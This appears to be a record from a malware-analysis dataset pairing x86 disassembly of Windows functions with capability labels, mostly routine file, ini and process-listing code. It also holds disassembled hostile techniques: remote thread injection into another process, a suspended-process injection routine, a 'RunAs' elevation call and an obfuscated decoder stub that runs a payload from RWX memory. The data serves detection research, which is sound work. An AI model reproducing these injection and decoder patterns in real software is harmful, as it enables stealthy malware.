joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406380
Capabilities:
Get common file path
Get file system object information

Disassembly:
sub esp, 0x4cc
push ebx
push ebp
mov ebp, dword [sym.imp.USER32.dll_SendMessageW]
push esi
mov esi, eax
xor ebx, ebx
cmp dword [esi + 0x2e8], ebx
push edi
je 0x40644f
cmp dword [esi + 0x2f0], ebx
je 0x406411
push 0x2b0
lea eax, [esp + 0x230]
push ebx
push eax
mov dword [esp + 0x234], ebx
call sub.msvcrt.dll_memset
push 0x208
lea eax, [esp + 0x2e]
push ebx
push eax
mov word [esp + 0x34], bx
call sub.msvcrt.dll_memset
add esp, 0x18
push 0x104
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryW]
push 0x4001
push 0x2b4
lea eax, [esp + 0x230]
push eax
push ebx
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov dword [esi + 0x2dc], eax
push eax
jmp 0x406440
call fcn.0040337f
push 0x60
pop ecx
shl eax, 4
xor edx, edx
div ecx
push 1
push 1
push 0x19
push eax
push eax
call dword [sym.imp.COMCTL32.dll_ImageList_Create]
push ebx
lea edi, [esi + 0x2dc]
push eax
mov dword [edi], eax
call dword [sym.imp.COMCTL32.dll_ImageList_SetImageCount]
push dword [edi]
push 1
push 0x1003
push dword [esi + 0x2d4]
call ebp
cmp dword [esi + 0x2ec], ebx
je 0x406494
call fcn.0040337f
push 0x60
pop ecx
shl eax, 5
xor edx, edx
div ecx
push 1
push 1
push 0x19
push eax
push eax
call dword [sym.imp.COMCTL32.dll_ImageList_Create]
push ebx
lea edi, [esi + 0x2e0]
push eax
mov dword [edi], eax
call dword [sym.imp.COMCTL32.dll_ImageList_SetImageCount]
push dword [edi]
push ebx
push 0x1003
push dword [esi + 0x2d4]
call ebp
call fcn.0040337f
push 0x60
pop ecx
shl eax, 4
xor edx, edx
div ecx
push 1
push 1
push 0x19
mov edi, eax
push edi
push edi
call dword [sym.imp.COMCTL32.dll_ImageList_Create]
push ebx
mov dword [esi + 0x2d8], eax
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
push 0x1000
push edi
push edi
push ebx
push 0x85
push eax
call dword [sym.imp.USER32.dll_LoadImageW]
push ebx
mov dword [esp + 0x14], eax
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
push 0x1000
push edi
push edi
push ebx
push 0x86
push eax
call dword [sym.imp.USER32.dll_LoadImageW]
push ebx
push dword [esi + 0x2d8]
mov dword [esp + 0x1c], eax
call dword [sym.imp.COMCTL32.dll_ImageList_SetImageCount]
push 0xf
call dword [sym.imp.USER32.dll_GetSysColor]
mov edi, dword [sym.imp.COMCTL32.dll_ImageList_AddMasked]
push eax
push dword [esp + 0x14]
mov dword [esp + 0x20], eax
push dword [esi + 0x2d8]
call edi
push dword [esp + 0x18]
push dword [esp + 0x18]
push dword [esi + 0x2d8]
call edi
push dword [esp + 0x10]
mov edi, dword [sym.imp.GDI32.dll_DeleteObject]
call edi
push dword [esp + 0x14]
call edi
mov eax, dword [esi + 0x2d8]
mov esi, dword [esi + 0x2d4]
push eax
push ebx
push 0x1208
push esi
call fcn.00401855
pop ecx
push eax
call ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4cc
ret
Function at 0x406df6
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
and word [ebp - 0x210], 0
push 0x208
lea eax, [ebp - 0x20e]
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x210]
call fcn.00408190
lea eax, [ebp - 0x210]
push eax
call fcn.00402b90
test eax, eax
pop ecx
je 0x406e46
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
leave
ret

Function at 0x406e48
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x258
push esi
push edi
push 0x8001
call dword [sym.imp.KERNEL32.DLL_SetErrorMode]
xor esi, esi
push esi
push 0x40814b
push esi
mov dword [0x40f424], 0x11223344
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.DLL_EnumResourceTypesW]
cmp dword [0x40f424], 0x30f0a73
je 0x406ea8
xor eax, eax
mov word [esp + 0x40], si
lea edi, [esp + 0x42]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemTime]
push dword [ebp + 0x10]
lea eax, [esp + 0x10]
push eax
mov dword [esp + 0x28], 0x400
mov dword [esp + 0x2c], 0x100
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], esi
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], esi
mov dword [esp + 0x30], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x3c], 0x20
mov dword [esp + 0x34], esi
mov dword [esp + 0x40], esi
mov dword [esp + 0x38], esi
mov dword [esp + 0x44], esi
call fcn.00403618
call fcn.00401732
xor edi, edi
test eax, eax
jne 0x406f26
inc edi
lea esi, [esp + 0xc]
call fcn.00403429
lea esi, [esp + 0x2c]
call fcn.00407887
lea esi, [esp + 0xc]
call fcn.00403429
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10
cmp dword [esp + 0x3c], esi
jle 0x406f5c
cmp edi, dword [esp + 0x3c]
jge 0x406f3f
mov ecx, edi
lea eax, [esp + 0xc]
call fcn.004034f1
jmp 0x406f44
mov eax, 0x40a378
push eax
push str._savelangfile
call sub.msvcrt.dll__wcsicmp
test eax, eax
pop ecx
pop ecx
je 0x406f5f
inc edi
cmp edi, dword [esp + 0x3c]
jl 0x406f32
or edi, 0xffffffff
cmp edi, esi
jl 0x406f6c
call fcn.00404233
xor edi, edi
jmp 0x406f01
call fcn.00404143
push dword [ebp + 0x10]
lea eax, [esp + 0x10]
call fcn.00406a2f
test eax, eax
pop ecx
jne 0x406f68
push esi
call dword [sym.imp.ole32.dll_CoInitialize]
call fcn.00406df6
push esi
call fcn.00406d85
pop ecx
push esi
mov ecx, 0x40d230
call fcn.004014d4
push 1
call fcn.00406d85
pop ecx
call dword [sym.imp.ole32.dll_CoUninitialize]
cmp dword [0x40efd4], 1
jne 0x406fe5
push 0x208
lea eax, [esp + 0x56]
push esi
push eax
mov word [esp + 0x5c], si
call sub.msvcrt.dll_memset
lea eax, [esp + 0x5c]
add esp, 0xc
push eax
call fcn.00402bbf
pop ecx
lea eax, [esp + 0x50]
push eax
call fcn.00408cc4
pop ecx
call fcn.00406df6
jmp 0x406f68
Function at 0x407234
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, eax
push 0x40
lea edi, [esi + 0x14]
push edi
push 0
call fcn.0040719d
test eax, eax
je 0x4072c2
cmp word [edi], 0x5a4d
jne 0x4072c2
push 4
lea eax, [ebp - 4]
push eax
push dword [esi + 0x50]
call fcn.0040719d
test eax, eax
je 0x4072c2
cmp dword [ebp - 4], 0x4550
jne 0x4072c2
push 0x14
lea eax, [esi + 0x54]
push eax
mov eax, dword [esi + 0x50]
add eax, 4
push eax
call fcn.0040719d
test eax, eax
je 0x4072c2
mov eax, esi
call fcn.0040721d
test eax, eax
je 0x40729d
push 0xf0
lea eax, [esi + 0x148]
jmp 0x4072a5
push 0xe0
lea eax, [esi + 0x68]
push eax
mov eax, dword [esi + 0x50]
add eax, 0x18
push eax
call fcn.0040719d
mov eax, esi
call fcn.004071c2
test eax, eax
je 0x4072c2
xor eax, eax
inc eax
jmp 0x4072c4
xor eax, eax
pop edi
pop esi
leave
ret

Function at 0x4074ba
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x678
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea esi, [edi + 0x28]
call fcn.00407887
xor ebx, ebx
push ebx
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
push 0x228
mov dword [ebp - 8], eax
lea eax, [ebp - 0x468]
push ebx
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x46c]
push eax
push dword [ebp - 8]
mov dword [ebp - 0x46c], 0x22c
call sub.KERNEL32.DLL_Process32FirstW
jmp 0x40763f
lea eax, [ebp - 0x240]
call fcn.004072ed
mov eax, dword [ebp - 0x464]
mov ecx, dword [ebp - 0x454]
mov esi, dword [sym.imp.KERNEL32.DLL_OpenProcess]
push eax
push ebx
push 0x410
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x30], ecx
call esi
cmp eax, ebx
mov dword [ebp - 4], eax
jne 0x40756f
call fcn.00402c95
cmp dword [eax + 4], 5
jbe 0x407630
push dword [ebp - 0x240]
push ebx
push 0x1000
call esi
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x407630
push 0x208
lea eax, [ebp - 0x676]
push ebx
push eax
mov word [ebp - 0x678], bx
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x678]
push eax
push dword [ebp - 4]
mov eax, edi
call fcn.004077ac
cmp word [ebp - 0x678], bx
jne 0x4075f8
cmp dword [0x40ff78], ebx
mov dword [ebp - 0xc], 0x104
jne 0x4075de
push 0x40a754
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
cmp eax, ebx
je 0x4075de
push str.QueryFullProcessImageNameW
push eax
mov dword [0x40ff78], 1
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [0x40ff7c], eax
mov eax, dword [0x40ff7c]
cmp eax, ebx
je 0x4075f8
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 0x678]
push ecx
push ebx
push dword [ebp - 4]
call eax
lea esi, [ebp - 0x678]
lea edi, [ebp - 0x23c]
call fcn.0040732c
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 4]
call fcn.00407412
add esp, 0x14
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x240]
push eax
lea eax, [edi + 0x28]
call fcn.004078b5
lea eax, [ebp - 0x46c]
push eax
push dword [ebp - 8]
call sub.KERNEL32.DLL_Process32NextW
test eax, eax
jne 0x407511
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x4077d4
Capabilities:
Link many functions at runtime

Disassembly:
cmp dword [esi], 0
jne 0x40782a
push edi
push str.psapi.dll
call fcn.004033a4
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [esp], str.GetModuleBaseNameW
push eax
mov dword [esi], eax
call edi
push str.EnumProcessModules
push dword [esi]
mov dword [esi + 4], eax
call edi
push str.GetModuleFileNameExW
push dword [esi]
mov dword [esi + 8], eax
call edi
push str.EnumProcesses
push dword [esi]
mov dword [esi + 0x10], eax
call edi
push str.GetModuleInformation
push dword [esi]
mov dword [esi + 0x14], eax
call edi
mov dword [esi + 0xc], eax
pop edi
ret

Function at 0x407b83
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x20000
call fcn.00409260
cmp dword [ebp + 8], 0
je 0x407be8
test esi, esi
je 0x407bd6
push 0x22
push esi
call sub.msvcrt.dll_wcschr
test eax, eax
pop ecx
pop ecx
je 0x407bd6
and word [ebp - 0x20000], 0
push esi
push str.__s_
lea eax, [ebp - 0x20000]
push 0xfffe
push eax
call sub.msvcrt.dll__snwprintf
add esp, 0x10
push dword [ebp + 0x1c]
lea eax, [ebp - 0x20000]
push eax
jmp 0x407bda
push dword [ebp + 0x1c]
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_WritePrivateProfileStringW]
leave
ret
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push esi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringW]
leave
ret

Function at 0x407c00
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4004
call fcn.00409260
push esi
push edi
xor eax, eax
cmp dword [ebp + 8], eax
push 0x4000
push eax
mov word [ebp - 0x4004], ax
lea eax, [ebp - 0x4002]
mov edi, ecx
push eax
je 0x407c5f
call sub.msvcrt.dll_memset
lea eax, [ebp - 0x4004]
push eax
push dword [edi]
push dword [ebp + 0x14]
call fcn.00402fb2
add esp, 0x18
push dword [ebp + 0x18]
lea eax, [ebp - 0x4004]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_WritePrivateProfileStringW]
mov esi, eax
jmp 0x407ca0
call sub.msvcrt.dll_memset
add esp, 0xc
push dword [ebp + 0x18]
lea eax, [ebp - 0x4004]
push 0x2000
push eax
push 0x40a378
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringW]
push dword [ebp + 0x14]
xor ecx, ecx
cmp ecx, eax
sbb esi, esi
push edi
lea edi, [ebp - 0x4004]
neg esi
call fcn.0040303b
pop ecx
pop ecx
pop edi
mov eax, esi
pop esi
leave
ret

Function at 0x407ca6
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
push dword [ebp + 0x18]
je 0x407cc4
push dword [esi]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.00407b36
add esp, 0x10
pop ebp
ret
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileIntW]
mov dword [esi], eax
pop ebp
ret
Function at 0x408190
Capabilities:
Get common file path

Disassembly:
push ebx
push ebp
push esi
push edi
mov esi, eax
push esi
mov edi, 0x104
push edi
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
call fcn.004028c9
push esi
call sub.msvcrt.dll_wcslen
mov ebp, 0x40b614
push ebp
mov ebx, eax
call sub.msvcrt.dll_wcslen
add eax, ebx
cmp eax, edi
pop ecx
pop ecx
jge 0x4081cf
lea eax, [esi + ebx*2]
push ebp
push eax
call sub.msvcrt.dll_wcscat
pop ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x408283
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Resume thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x27c
push esi
push edi
push 7
pop ecx
xor eax, eax
mov byte [ebp - 0x27c], 0
lea edi, [ebp - 0x27b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor esi, esi
push 0x254
stosb byte es:[edi], al
lea eax, [ebp - 0x25c]
push esi
push eax
mov dword [ebp - 4], esi
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x40a754
mov dword [ebx + 0x214], esi
mov dword [ebx + 0x210], esi
mov dword [ebx + 0x20c], esi
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov edi, eax
push 0x40b638
push edi
call esi
push 0x40b648
push edi
mov dword [ebp - 0x254], eax
call esi
mov dword [ebp - 0x258], eax
mov eax, ebx
call fcn.004081d4
push ebx
lea edi, [ebp - 0x24c]
call fcn.00402a3d
lea eax, [ebp - 0x42]
mov dword [esp], 0x40b658
push eax
call sub.msvcrt.dll_strcpy
mov esi, dword [ebp + 0xc]
pop ecx
pop ecx
push 6
pop ecx
push 0x40
lea edi, [ebp - 0x20]
rep movsd dword es:[edi], dword [esi]
mov esi, dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov edi, 0x1000
push edi
push 0x274
push 0
push dword [ebp + 8]
call esi
push 0x40
push edi
mov edi, 0x400
push edi
push 0
push dword [ebp + 8]
mov dword [ebx + 0x20c], eax
call esi
xor esi, esi
cmp dword [ebx + 0x20c], esi
mov dword [ebx + 0x210], eax
je 0x4083fc
cmp eax, esi
je 0x4083fc
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
push 0x408166
push eax
push dword [ebp + 8]
call edi
push esi
push 0x274
mov dword [ebp + 0xc], eax
lea eax, [ebp - 0x27c]
push eax
push dword [ebx + 0x20c]
push dword [ebp + 8]
call edi
cmp dword [ebp + 0xc], esi
mov dword [ebp - 8], esi
je 0x4083fc
cmp eax, esi
je 0x4083fc
lea eax, [ebp - 8]
push eax
push 4
push dword [ebx + 0x20c]
push dword [ebx + 0x210]
push esi
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateRemoteThread]
cmp eax, esi
mov dword [ebx + 0x214], eax
je 0x4083fc
push eax
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
push 0xbb8
push dword [ebx + 0x214]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov dword [ebp - 4], 1
mov eax, dword [ebp - 4]
pop edi
pop esi
leave
ret 8
Function at 0x408550
Capabilities:
Create process on windows
Create process suspended
Resume thread

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1274
call fcn.00409260
push ebx
push esi
push edi
xor ebx, ebx
push 0x208
lea eax, [ebp - 0x26e]
push ebx
push eax
mov esi, ecx
mov dword [ebp - 4], ebx
mov word [ebp - 0x270], bx
call sub.msvcrt.dll_memset
mov eax, dword [ebp + 8]
add esp, 0xc
push dword [ebp + 0xc]
lea edi, [ebp - 0x270]
mov dword [eax + 0x4e4], ebx
call fcn.00402a3d
pop ecx
mov eax, edi
push 0x5c
push eax
call sub.msvcrt.dll_wcsrchr
cmp eax, ebx
pop ecx
pop ecx
je 0x4085ae
mov word [eax], bx
cmp esi, ebx
je 0x4085c4
cmp word [esi], bx
je 0x4085c4
push esi
lea edi, [ebp - 0x270]
call fcn.00402a3d
pop ecx
push 0x40
lea eax, [ebp - 0x5c]
push ebx
push eax
call sub.msvcrt.dll_memset
xor eax, eax
mov dword [ebp - 0x14], ebx
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
push 0xffe
lea eax, [ebp - 0x126e]
push ebx
push eax
mov dword [ebp - 0x60], 0x44
xor edi, edi
mov word [ebp - 0x1270], bx
call sub.msvcrt.dll_memset
add esp, 0xc
cmp dword [ebp + 0x10], ebx
je 0x40862d
push dword [ebp + 0x10]
lea eax, [ebp - 0x1270]
push dword [ebp + 0xc]
push str.__s___s
push 0x7ff
push eax
call sub.msvcrt.dll__snwprintf
add esp, 0x14
lea edi, [ebp - 0x1270]
call fcn.00402c95
call fcn.00402c95
cmp dword [eax + 0x10], 2
jne 0x408721
cmp dword [eax + 4], 5
jb 0x408721
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x270]
push eax
push ebx
push 4
push ebx
push ebx
push ebx
push edi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
test eax, eax
je 0x408712
mov esi, dword [ebp + 0x14]
cmp dword [esi + 0x14], ebx
jne 0x408683
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
push 0x40a754
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
cmp dword [esi + 0x14], ebx
mov dword [ebp + 0x14], eax
jne 0x4086be
mov byte [ebp + 0xc], bl
xor eax, eax
lea edi, [ebp + 0xd]
stosw word es:[edi], ax
mov dword [ebp + 0x10], ebx
stosb byte es:[edi], al
lea eax, [ebp + 0x10]
push eax
push 4
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0x14]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_ReadProcessMemory]
test eax, eax
je 0x4086a4
mov ebx, dword [ebp + 8]
push esi
push dword [ebp - 0x14]
call fcn.00408283
test eax, eax
je 0x408721
cmp dword [esi + 0x14], 0
je 0x4086dd
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
push 0x7d0
lea edi, [ebx + 0x214]
push dword [edi]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
cmp eax, 0x102
je 0x408709
push dword [ebp - 0x14]
mov eax, ebx
call fcn.00408239
push dword [edi]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov dword [ebp - 4], 1
jmp 0x408721
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x4e4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x408cc4
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push 0x38
lea eax, [ebp - 0x38]
push 0
push eax
call sub.msvcrt.dll_memset
mov eax, dword [ebp + 8]
and dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], eax
add esp, 0xc
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x30], str.RunAs
mov dword [ebp - 0x20], 5
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
leave
ret
Function at 0x408fe4
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x70
push 0x40a320
call fcn.004091f4
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
cmp word [eax], 0x5a4d
jne 0x40901f
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40901f
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x409037
cmp eax, 0x20b
je 0x409024
mov dword [ebp - 0x1c], edi
jmp 0x40904b
cmp dword [ecx + 0x84], 0xe
jbe 0x40901f
xor eax, eax
cmp dword [ecx + 0xf8], edi
jmp 0x409045
cmp dword [ecx + 0x74], 0xe
jbe 0x40901f
xor eax, eax
cmp dword [ecx + 0xe8], edi
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], edi
push 2
pop ebx
push ebx
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
or dword [0x40ff8c], 0xffffffff
or dword [0x40ff90], 0xffffffff
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x40efec]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x40efe8]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x40ff88], eax
call fcn.00404453
cmp dword [section..data], edi
jne 0x4090a8
push fcn.00404453
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.004091e0
push 0x40a2f4
push 0x40a2f0
call sub.msvcrt.dll__initterm
mov eax, dword [0x40efe4]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push dword [0x40efe0]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.msvcrt.dll___wgetmainargs]
mov dword [ebp - 0x30], eax
push 0x40a2ec
push 0x40a2cc
call sub.msvcrt.dll__initterm
add esp, 0x24
mov eax, dword [sym.imp.msvcrt.dll__wcmdln]
mov esi, dword [eax]
cmp esi, edi
jne 0x40910e
or dword [ebp - 4], 0xffffffff
mov eax, 0xff
jmp 0x4091c8
mov dword [ebp - 0x34], esi
cmp word [esi], 0x22
jne 0x40915c
add esi, ebx
mov dword [ebp - 0x34], esi
mov ax, word [esi]
cmp ax, di
je 0x40912a
cmp ax, 0x22
jne 0x409117
cmp word [esi], 0x22
jne 0x409135
add esi, ebx
mov dword [ebp - 0x34], esi
mov ax, word [esi]
cmp ax, di
je 0x409143
cmp ax, 0x20
jbe 0x409130
mov dword [ebp - 0x4c], edi
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.DLL_GetStartupInfoW]
test byte [ebp - 0x4c], 1
je 0x409169
movzx eax, word [ebp - 0x48]
jmp 0x40916c
cmp word [esi], 0x20
jbe 0x409135
add esi, ebx
mov dword [ebp - 0x34], esi
jmp 0x40915c
push 0xa
pop eax
push eax
push esi
push edi
push edi
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call main
mov esi, eax
mov dword [ebp - 0x7c], esi
cmp dword [ebp - 0x1c], edi
jne 0x40918d
push esi
call dword [sym.imp.msvcrt.dll_exit]
call dword [sym.imp.msvcrt.dll__cexit]
jmp 0x4091c2
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.0040922d
ret
Function at 0x10008fff
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x1000900e
pop dword [ebp - 0x1c]
mov eax, 0x1000900e
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x68533678
add dword [ebp - 0x2c], 0xe5ff0ed3
mov dword [ebp - 0x28], 0x76223029
add dword [ebp - 0x28], 0xbc111c1c
mov dword [ebp - 0x24], 0xdf4d500b
add dword [ebp - 0x24], 0x6cfef423
mov dword [ebp - 0x20], 0x361c4269
add dword [ebp - 0x20], 0xc9e3bd97
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x676efb60
add eax, 0xa891a4a4
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0xf1cd8e7f
sub dword [ebp - 0x2c], 0x7d5b2529
mov dword [ebp - 0x28], 0x7a4db3b0
add dword [ebp - 0x28], 0xc71eadc5
mov dword [ebp - 0x24], 0x4dc2ac85
sub dword [ebp - 0x24], 0xea534019
mov dword [ebp - 0x20], 0xb724566c
add dword [ebp - 0x20], 0x48dba994
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0xa61c8143
sub eax, 0x961be13b
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x3b796
push 0
call eax
mov ecx, 0xfa026659
add ecx, 0x5fdf568
xor esi, esi
add esi, eax
mov edi, 0x8b34feba
add edi, 0x84cbf946
add edi, dword [ebp - 0x1c]
mov ebx, 0x83e4e950
sub dword [ebp - 4], 0xfd4a643e
mov edx, dword [edi]
add dword [ebp - 0xc], 0x17da731b
sub edx, ebx
add dword [ebp - 8], 0xd1dcdbd
mov dword [esi], edx
xor dword [ebp - 4], 0xd4716771
add esi, 4
add edi, 0x65ccc67c
sub edi, 0x65ccc678
loop 0x10009127
add eax, 0x1418bdd6
sub eax, 0x14175bff
mov ebx, eax
add eax, 0x58340e42
sub eax, 0x58340e3d
mov ecx, 0x10000000
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret